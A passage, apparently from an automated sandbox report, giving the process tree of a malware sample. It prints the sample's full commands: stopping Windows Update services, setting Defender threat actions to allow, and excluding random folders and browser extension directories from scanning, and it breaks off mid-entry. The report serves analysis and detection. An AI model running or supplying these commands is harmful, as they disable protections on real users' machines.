                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:1632
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                          2⤵
                                            PID:4632
                                            • C:\Windows\system32\wusa.exe
                                              wusa /uninstall /kb:890830 /quiet /norestart
                                              3⤵
                                                PID:2220
                                            • C:\Windows\system32\sc.exe
                                              C:\Windows\system32\sc.exe stop UsoSvc
                                              2⤵
                                              • Launches sc.exe
                                              PID:1364
                                            • C:\Windows\system32\sc.exe
                                              C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                              2⤵
                                              • Launches sc.exe
                                              PID:4064
                                            • C:\Windows\system32\sc.exe
                                              C:\Windows\system32\sc.exe stop wuauserv
                                              2⤵
                                              • Launches sc.exe
                                              PID:4364
                                            • C:\Windows\system32\sc.exe
                                              C:\Windows\system32\sc.exe stop bits
                                              2⤵
                                              • Launches sc.exe
                                              PID:376
                                            • C:\Windows\system32\sc.exe
                                              C:\Windows\system32\sc.exe stop dosvc
                                              2⤵
                                              • Launches sc.exe
                                              PID:1636
                                            • C:\Windows\system32\powercfg.exe
                                              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                              2⤵
                                              • Power Settings
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:5004
                                            • C:\Windows\system32\powercfg.exe
                                              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                              2⤵
                                              • Power Settings
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:4084
                                            • C:\Windows\system32\powercfg.exe
                                              C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                              2⤵
                                              • Power Settings
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:2600
                                            • C:\Windows\system32\powercfg.exe
                                              C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                              2⤵
                                              • Power Settings
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:1116
                                            • C:\Windows\system32\conhost.exe
                                              C:\Windows\system32\conhost.exe
                                              2⤵
                                                PID:2824
                                              • C:\Windows\system32\cmd.exe
                                                cmd.exe
                                                2⤵
                                                • Blocklisted process makes network request
                                                • Modifies data under HKEY_USERS
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:3676
                                            • C:\Users\Admin\AppData\Local\Temp\7zS5772.tmp\Install.exe
                                              C:\Users\Admin\AppData\Local\Temp\7zS5772.tmp\Install.exe NE /JPdidJ 385121 /S
                                              1⤵
                                              • Executes dropped EXE
                                              • Drops desktop.ini file(s)
                                              • Drops file in System32 directory
                                              • System Location Discovery: System Language Discovery
                                              • Modifies data under HKEY_USERS
                                              PID:3400
                                              • C:\Windows\SysWOW64\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                2⤵
                                                • System Location Discovery: System Language Discovery
                                                PID:4344
                                                • C:\Windows\SysWOW64\forfiles.exe
                                                  forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                  3⤵
                                                  • Indirect Command Execution
                                                  • System Location Discovery: System Language Discovery
                                                  PID:216
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                    4⤵
                                                      PID:4520
                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                        5⤵
                                                          PID:1212
                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                      forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                      3⤵
                                                      • Indirect Command Execution
                                                      PID:2376
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                        4⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:3916
                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                          5⤵
                                                            PID:3716
                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                        3⤵
                                                        • Indirect Command Execution
                                                        PID:4572
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                          4⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:1500
                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                            5⤵
                                                            • System Location Discovery: System Language Discovery
                                                            PID:1968
                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                        3⤵
                                                        • Indirect Command Execution
                                                        PID:3032
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                          4⤵
                                                            PID:2704
                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                              5⤵
                                                                PID:3888
                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                            forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                            3⤵
                                                            • Indirect Command Execution
                                                            PID:2444
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                              4⤵
                                                              • System Location Discovery: System Language Discovery
                                                              PID:232
                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                5⤵
                                                                • Command and Scripting Interpreter: PowerShell
                                                                • Drops file in System32 directory
                                                                • Modifies data under HKEY_USERS
                                                                PID:2424
                                                                • C:\Windows\SysWOW64\gpupdate.exe
                                                                  "C:\Windows\system32\gpupdate.exe" /force
                                                                  6⤵
                                                                    PID:1580
                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                            2⤵
                                                            • Drops file in System32 directory
                                                            • System Location Discovery: System Language Discovery
                                                            • Modifies data under HKEY_USERS
                                                            PID:1544
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                              3⤵
                                                                PID:4084
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                  4⤵
                                                                    PID:3464
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                  3⤵
                                                                    PID:3884
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                    3⤵
                                                                      PID:1880
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:4280
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:976
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                        3⤵
                                                                          PID:1504
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                          3⤵
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:4992
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:2332
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                            3⤵
                                                                              PID:5008
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                              3⤵
                                                                                PID:5084
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                3⤵
                                                                                • System Location Discovery: System Language Discovery
                                                                                PID:1052
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                3⤵
                                                                                • System Location Discovery: System Language Discovery
                                                                                PID:3856
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                3⤵
                                                                                  PID:2428
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                  3⤵
                                                                                    PID:1712
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                    3⤵
                                                                                      PID:4176
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                      3⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:3520
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                      3⤵
                                                                                        PID:1444
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                        3⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:3804
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                        3⤵
                                                                                          PID:4520
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                          3⤵
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          PID:216
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                          3⤵
                                                                                            PID:3716
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                            3⤵
                                                                                            • System Location Discovery: System Language Discovery
                                                                                            PID:3916
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                            3⤵
                                                                                              PID:2376
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                              3⤵
                                                                                                PID:4636
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                3⤵
                                                                                                  PID:1532
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                  3⤵
                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                  PID:4556
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                  3⤵
                                                                                                    PID:4896
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                    3⤵
                                                                                                      PID:748
                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\EKfHLQOzikZzC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\EKfHLQOzikZzC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\TcokmJWkeMGVDHpHTSR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\TcokmJWkeMGVDHpHTSR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\kVyftiaSU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\kVyftiaSU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\linOwUtCTeUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\linOwUtCTeUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\vECSWYHhNEBU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\vECSWYHhNEBU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\NUEAEvpmbtRdsZVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\NUEAEvpmbtRdsZVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ASUPEepcmoJTSZEuB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ASUPEepcmoJTSZEuB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\VLvKqTazivYGshTO\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\VLvKqTazivYGshTO\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                    2⤵
                                                                                                    • Drops file in System32 directory
                                                                                                    • Modifies data under HKEY_USERS
                                                                                                    PID:3904
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\EKfHLQOzikZzC" /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                      PID:1764
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\EKfHLQOzikZzC" /t REG_DWORD /d 0 /reg:32
                                                                                                        4⤵
                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                        PID:4072
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\EKfHLQOzikZzC" /t REG_DWORD /d 0 /reg:64
                                                                                                      3⤵
                                                                                                        PID:5020
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TcokmJWkeMGVDHpHTSR" /t REG_DWORD /d 0 /reg:32
                                                                                                        3⤵
                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                        PID:1200
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TcokmJWkeMGVDHpHTSR" /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                        PID:3368
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kVyftiaSU" /t REG_DWORD /d 0 /reg:32
                                                                                                        3⤵
                                                                                                          PID:376
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kVyftiaSU" /t REG_DWORD /d 0 /reg:64
                                                                                                          3⤵
                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                          PID:2940
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\linOwUtCTeUn" /t REG_DWORD /d 0 /reg:32
                                                                                                          3⤵
                                                                                                            PID:3668
                                                                                                          • C:\Windows\SysWOW64\reg.exe
